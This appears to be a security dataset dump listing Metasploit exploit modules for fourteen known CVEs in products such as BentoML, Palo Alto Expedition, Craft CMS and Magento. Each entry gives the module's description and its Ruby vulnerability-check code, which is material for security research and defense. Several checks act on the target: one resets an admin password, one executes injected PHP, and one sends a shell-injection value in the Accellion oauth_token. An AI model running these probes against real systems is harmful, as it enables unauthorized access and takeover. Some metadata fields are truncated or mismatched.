deardaniel/secdata-raw huggingface dataset:
Metasploit Module: BentoML RCE
Type: exploit
Path: modules/exploits/linux/http/bentoml_rce_cve_2025_27520.rb
Platform: python
Disclosure date: 2025-04-04
References: CVE-2025-27520
Targets: Python payload, Linux Command

Description:
A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in v1.4.2 of BentoML.
          It allows any unauthenticated user to execute arbitrary code on the server.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'docs.json')
    })
    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200

    version = res.get_json_document&.dig('info', 'description')&.[](/BentoML-([\d.]+)-informational/, 1)
    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version

    version = Rex::Version.new(version)
    return Exploit::CheckCode::Unknown('Failed to get version.') unless version

    return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('1.3.4'), Rex::Version.new('1.4.2'))

    @api_endpoint = find_api_endpoint
    return Exploit::CheckCode::Unknown('No vulnerable api endpoint.') unless @api_endpoint

    Exploit::CheckCode::Appears("Version #{version} detected, which is vulnerable.")
  end
Metasploit Module: Palo Alto Expedition Remote Code Execution (CVE-2024-5910 and CVE-2024-9464)
Type: exploit
Path: modules/exploits/linux/http/paloalto_expedition_rce.rb
Platform: %w[unix linux
Disclosure date: 2024-10-09
References: URL-https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/, URL-https://security.paloaltonetworks.com/PAN-SA-2024-0010, URL-https://security.paloaltonetworks.com/CVE-2024-5910, URL-https://attackerkb.com/topics/JwTzQJuBmn/cve-2024-5910, URL-https://attackerkb.com/topics/ky1MIrne9r/cve-2024-9464, CVE-2024-5910, CVE-2024-24809
Targets: Linux Command

Description:
Obtain remote code execution in Palo Alto Expedition version 1.2.91 and below.
          The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data.
          When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection.

Check method (fingerprinting):
unless datastore['USERNAME'] && datastore['PASSWORD']
      unless datastore['RESET_ADMIN_PASSWD']
        print_bad('No USERNAME and PASSWORD set. If you are sure you want to reset the admin password, set RESET_ADMIN_PASSWD to true and run the module again.')
        return CheckCode::Unknown('Could not determine the target status')
      end

      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'OS/startup/restore/restoreAdmin.php')
      )

      return CheckCode::Unknown('Failed to receive a reply from the server.') unless res

      if res.code == 403
        return CheckCode::Safe('The target is not vulnerable')
      end

      return CheckCode::Safe("Unexpected reply from the server: #{res.body}") unless res.code == 200 && res.body.include?('Admin password restored to')

      respass = res.to_s.match(/'([^']+)'/)[1] # Search for the password: ✓	Admin password restored to:    'paloalto'
      print_good("Admin password successfully restored to default value #{respass} (CVE-2024-5910).")
      @[CREDENTIAL_REDACTED]
      @username = 'admin'
      @reset = true
    end

    begin
      @xsrf_token_value = xsrf_token_value
    rescue XsrfException::Error
      return CheckCode::Safe('The target is not vulnerable')
    end

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'bin/MTSettings/settings.php?param=versions'),
      'keep_cookies' => true,
      'headers' => {
Metasploit Module: D-Link DSL-2750B OS Command Injection
Type: exploit
Path: modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb
Platform: linux
Disclosure date: 2016-02-05
References: CVE-2016-20017, URL-https://seclists.org/fulldisclosure/2016/Feb/53, URL-http://www.quantumleap.it/d-link-router-dsl-2750b-firmware-1-01-1-03-rce-no-auth/
Targets: Linux mipsbe Payload, Linux mipsel Payload

Description:
This module exploits a remote command injection vulnerability in D-Link DSL-2750B devices.
          Vulnerability can be exploited through "cli" parameter that is directly used to invoke
          "ayecli" binary. Vulnerable firmwares are from 1.01 up to 1.03.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/ayefeaturesconvert.js'
    )

    unless res
      vprint_error('Connection failed')
      return CheckCode::Unknown('Could not determine the target status')
    end

    unless res.code.to_i == 200 && res.body.include?('DSL-2750')
      vprint_status('Remote host is not a DSL-2750')
      return CheckCode::Safe('The target is not vulnerable')
    end

    if res.body =~ /var AYECOM_FWVER="(\d.\d+)";/
      version = Regexp.last_match[1]
      vprint_status("Remote host is a DSL-2750B with firmware version #{version}")
      if version >= "1.01" && version <= "1.03"
        return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
      end
    end

    CheckCode::Safe('The target is not vulnerable')
  rescue ::Rex::ConnectionError
    vprint_error('Connection failed')
    return CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/trendmicro_imsva_widget_exec.rb
Platform: python
Disclosure date: 2017-10-07
References: CVE-2017-7896, CVE-2017-11392, CVE-2017-11391, URL-https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/, URL-http://www.zerodayinitiative.com/advisories/ZDI-17-521/

Description:
This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a
          terminal command under the context of the web server user.

          The specific flaw exists within the management interface, which listens on TCP port 443 by default. Trend Micro IMSVA product
          have widget feature which is implemented with PHP. Insecurely configured web server exposes diagnostic.log file, which
          leads to an extraction of JSESSIONID value from administrator session. Proxy.php files under the mod TMCSS folder takes multiple parameter but the process
          does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities,
          unauthenticated users can execute a terminal command under the context of the web server user.

Check method (fingerprinting):
# If we've managed to bypass authentication, that means target is most likely vulnerable.
    jsessionid = extract_jsessionid
    if jsessionid.nil?
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    auth = widget_auth(jsessionid)
    if auth.nil?
      Exploit::CheckCode::Safe('The target is not vulnerable')
    else
      Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end
  end
Metasploit Module: Craft CMS Image Transform Preauth RCE (CVE-2025-32432)
Type: exploit
Path: modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb
Platform: php
Disclosure date: 2025-04-14
References: CVE-2025-32432, URL-https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/, URL-https://blog.onyphe.io/en/cve-2025-32432-0day-craft-cms-discovered-by-orange-cyberdefense/
Targets: PHP In-Memory, Unix/Linux Command Shell

Description:
This module exploits an unauthenticated remote code execution vulnerability
          in Craft CMS versions 3.x, 4.x, and 5.x < 5.6.17 via the image transform endpoint.
          It injects a PHP Meterpreter payload into the Craft session, then triggers its execution
          by abusing the Yii behavior gadget chain (PhpManager) on the generate-transform endpoint.
          Discovered in the wild by Orange Cyberdefense CSIRT and assigned CVE-2025-32432.

Check method (fingerprinting):
_, csrf, = fetch_cookies_and_csrf
    return CheckCode::Unknown('Could not retrieve session & CSRF') unless csrf

    if (path = leak_session_path(csrf))
      @session_path = path
      print_good("Leaked session.save_path: #{@session_path}")
      return CheckCode::Vulnerable('Session path leaked')
    end

    a = Rex::Text.rand_text_numeric(4).to_i
    b = Rex::Text.rand_text_numeric(4).to_i

    expr = "#{a}+#{b}"
    sum = a + b
    print_status("Checking RCE: #{expr}")

    payload = "print_r(#{expr});"
    res = execute_via_session(payload)
    return CheckCode::Unknown('No response') unless res

    if res.body.include?(sum.to_s)
      CheckCode::Vulnerable("Detected RCE: send #{a}+#{b}, got #{sum}!")
    else
      CheckCode::Safe('Unable to exercise code execution.')
    end
  end
Metasploit Module: MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)
Type: exploit
Path: modules/exploits/linux/http/mobileiron_core_log4shell.rb
Platform: unix
Disclosure date: 2021-12-12
References: CVE-2021-44228, URL-https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis, URL-https://forums.ivanti.com/s/article/Security-Bulletin-CVE-2021-44228-Remote-code-injection-in-Log4j?language=en_US, URL-https://www.mandiant.com/resources/mobileiron-log4shell-exploitation
Targets: Linux

Description:
MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server
        will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
        command execution in the context of the tomcat user.

        This module will start an LDAP server that the target will need to connect to.

Check method (fingerprinting):
validate_configuration!

    vprint_status('Attempting to trigger the jndi callback...')

    start_service
    res = trigger
    return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?

    wait_until { @search_received }
    @search_received ? Exploit::CheckCode::Vulnerable('The target is vulnerable') : Exploit::CheckCode::Unknown('No LDAP search query was received.')
  ensure
    cleanup_service
  end
Metasploit Module: op5 v7.1.9 Configuration Command Execution
Type: exploit
Path: modules/exploits/linux/http/op5_config_exec.rb
Platform: linux
Disclosure date: 2016-04-08
References: CVE-2025-34115, EDB-39676, URL-https://www.op5.com/blog/news/op5-monitor-7-2-0-release-notes/

Description:
op5 an open source network monitoring software.
          The configuration page in version 7.1.9 and below
          allows the ability to test a system command, which
          can be abused to run arbitrary code as an unpriv user.

Check method (fingerprinting):
begin
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path),
        'method' => 'GET'
      )
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      /Version: (?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+\|/ =~ res.body

      if version && Rex::Version.new(version) <= Rex::Version.new('7.1.9')
        vprint_good("Version Detected: #{version}")
        Exploit::CheckCode::Appears('The target appears to be vulnerable')
      else
        Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
Metasploit Module: IPFire proxy.cgi RCE
Type: exploit
Path: modules/exploits/linux/http/ipfire_oinkcode_exec.rb
Platform: unix
Disclosure date: 2017-06-09
References: CVE-2017-9757, EDB-42149

Description:
IPFire, a free linux based open source firewall distribution,
          version < 2.19 Update Core 110 contains a remote command execution
          vulnerability in the ids.cgi page in the OINKCODE field.

Check method (fingerprinting):
begin
      # authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
      # after a chat with @bcoles in IRC.
      res = send_request_cgi(
        'uri' => '/cgi-bin/pakfire.cgi',
        'method' => 'GET',
        'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      )

      if res && res.code == 200
        /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
      end
      if version.nil? || update.nil? || !Rex::Version.correct?(version)
        vprint_error('No Recognizable Version Found')
        CheckCode::Safe('The target is not vulnerable')
      elsif Rex::Version.new(version) <= Rex::Version.new('2.19') && update.to_i <= 110
        CheckCode::Appears('The target appears to be vulnerable')
      else
        vprint_error('Version and/or Update Not Supported')
        CheckCode::Safe('The target is not vulnerable')
      end
    rescue ::Rex::ConnectionError
      print_error("Connection Failed")
      CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: HP System Management Anonymous Access Code Execution
Type: exploit
Path: modules/exploits/linux/http/hp_system_management.rb
Platform: linux
Disclosure date: 2012-09-01
References: OSVDB-91812

Description:
This module exploits an anonymous remote code execution on HP System Management
          7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on
          a request against /proxy/DataValidation. In order to work HP System Management must
          be configured with Anonymous access enabled.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => "/cpqlogin.htm"
    })

    if res.nil?
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    elsif res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
      version = $1
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable") if version <= "7.1.1.1"
    end

    return Exploit::CheckCode::Safe(version ? "Version #{version} is not vulnerable" : 'The target is not vulnerable')
  end
Metasploit Module: Accellion FTA getStatus verify_oauth_token Command Execution
Type: exploit
Path: modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb
Platform: unix
Disclosure date: 2015-07-10
References: URL-http://r-7.co/R7-2015-08, CVE-2015-2857

Description:
This module exploits a metacharacter shell injection vulnerability in the Accellion
          File Transfer appliance. This vulnerability is triggered when a user-provided
          'oauth_token' is passed into a system() call within a mod_perl handler. This
          module exploits the '/tws/getStatus' endpoint. Other vulnerable handlers include
          '/seos/find.api', '/seos/put.api', and /seos/mput.api'. This issue was confirmed on
          version FTA_9_11_200, but may apply to previous versions as well. This issue was
          fixed in software update FTA_9_11_210.

Check method (fingerprinting):
uri = '/tws/getStatus'

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'transaction_id' => rand(0x100000000),
        'oauth_token' => 'invalid'
      }
    })

    unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"MD5 token is invalid"/
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'transaction_id' => rand(0x100000000),
        'oauth_token' => "';echo '"
      }
    })

    unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"Success","transaction_id":"/
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    Msf::Exploit::CheckCode::Vulnerable('The target is vulnerable')
  end
Metasploit Module: Centreon Poller Authenticated Remote Command Execution
Type: exploit
Path: modules/exploits/linux/http/centreon_pollers_auth_rce.rb
Platform: unix
Disclosure date: 2020-01-27
References: EDB-47977
Targets: Reverse shell (In-Memory), Meterpreter (Dropper)

Description:
An authenticated user with sufficient administrative rights to manage pollers can use this functionality to
          execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules
          (to perform certain actions), by the scheduler for data processing, etc.

          This module uses this functionality to obtain a remote shell on the target.
Metasploit Module: CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961)
Type: exploit
Path: modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb
Platform: %w[unix linux
Disclosure date: 2024-07-26
References: URL-https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md, URL-https://sansec.io/research/cosmicsting, URL-https://www.ambionics.io/blog/iconv-cve-2024-2961-p1, URL-https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py, CVE-2024-2961, CVE-2024-34102
Targets: Unix Command

Description:
This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961)
          allows for unauthenticated Remote Code Execution on the following versions of Magento and Adobe Commerce and
          earlier if the PHP and glibc versions are also vulnerable:
          - 2.4.7 and earlier
          - 2.4.6-p5 and earlier
          - 2.4.5-p7 and earlier
          - 2.4.4-p8 and earlier

          Vulnerable PHP versions:
          - From PHP 7.0.0 (2015) to 8.3.7 (2024)

          Vulnerable iconv() function in the GNU C Library:
          - 2.39 and earlier

          The exploit chain is quite interesting and for more detailed information check out the references. The tl;dr being:
          CVE-2024-34102 is an XML External Entity vulnerability leveraging  PHP filters to read arbitrary files from the target
          system. The exploit chain uses this to read /proc/self/maps, providing the address of PHP's heap and the libc's filename.
          The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use
          of later in the chain.

          With this information and expert knowledge of PHP's heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961
          can be exploited. A long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a
          payload in memory and using the buffer overflow to execute it, resulting in an unauthenticated RCE.

Check method (fingerprinting):
setup_module
    print_status('module setup')
    magento_checkcode = check_magento
    return magento_checkcode unless magento_checkcode.code == 'vulnerable'

    print_good(magento_checkcode.reason)

    php_checkcode = check_php_rce_requirements
    return php_checkcode unless php_checkcode.code == 'appears'

    print_good(php_checkcode.reason)

    libc_version_checkcode = check_libc_version
    return libc_version_checkcode unless libc_version_checkcode.code == 'appears'

    print_good(libc_version_checkcode.reason)
    CheckCode::Appears("#{libc_version_checkcode.reason}")
  end
Metasploit Module: Samsung SRN-1670D Web Viewer Version 1.0.0.193 Arbitrary File Read and Upload
Type: exploit
Path: modules/exploits/linux/http/samsung_srv_1670d_upload_exec.rb
Platform: php
Disclosure date: 2017-03-14
References: CVE-2017-16524, URL-https://github.com/realistic-security/CVE-2017-16524, CVE-2015-8279, URL-http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html

Description:
This module exploits an unrestricted file upload vulnerability in
          Web Viewer 1.0.0.193 on Samsung SRN-1670D devices. The network_ssl_upload.php file
          allows remote authenticated attackers to upload and execute arbitrary
          PHP code via a filename with a .php extension, which is then accessed via a
          direct request to the file in the upload/ directory.

          To authenticate for this attack, one can obtain web-interface credentials
          in cleartext by leveraging the existing local file read vulnerability
          referenced by CVE-2015-8279, which allows remote attackers to read the
          web interface credentials by sending a request to:
          cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw URI.

Check method (fingerprinting):
vprint_status('Checking version...')

    resp = send_request_cgi({
      'uri' => "/index",
      'method' => 'GET'
    })

    unless resp
      vprint_error('Connection timed out.')
      return CheckCode::Unknown('Could not determine the target status')
    end

    # File Version 1.0.0.193
    version = nil
    if resp && resp.code == 200 && resp.body.match(/Web Viewer for Samsung NVR/)
      if resp.body =~ /File Version (\d+\.\d+\.\d+\.\d+)/
        version = $1
        if version == '1.0.0.193'
          vprint_good "Found version: #{version}"
          return CheckCode::Appears("Version #{version} appears to be vulnerable")
        end

        return CheckCode::Safe("Version #{version} is not vulnerable")
      end

      return CheckCode::Unknown('Could not determine the target version')
    end

    CheckCode::Safe('Samsung NVR not detected')
  end
Metasploit Module: Belkin Play N750 login.cgi Buffer Overflow
Type: exploit
Path: modules/exploits/linux/http/belkin_login_bof.rb
Platform: linux
Disclosure date: 2014-05-09
References: CVE-2014-1635, EDB-35184, BID-70977, OSVDB-114345, URL-https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/, URL-http://www.belkin.com/us/support-article?articleNum=4831

Description:
This module exploits a remote buffer overflow vulnerability on Belkin Play N750 DB
          Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling
          of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing
          remote unauthenticated attackers to execute arbitrary code. This module was tested in
          an emulated environment, using the version 1.10.16.m of the firmware.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => '/'
      })

      if res &&
         [200, 301, 302].include?(res.code) &&
         res.headers['Server'] &&
         res.headers['Server'] =~ /minhttpd/ &&
         res.body =~ /u_errpaswd/

        return Exploit::CheckCode::Detected('The target service was detected')
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end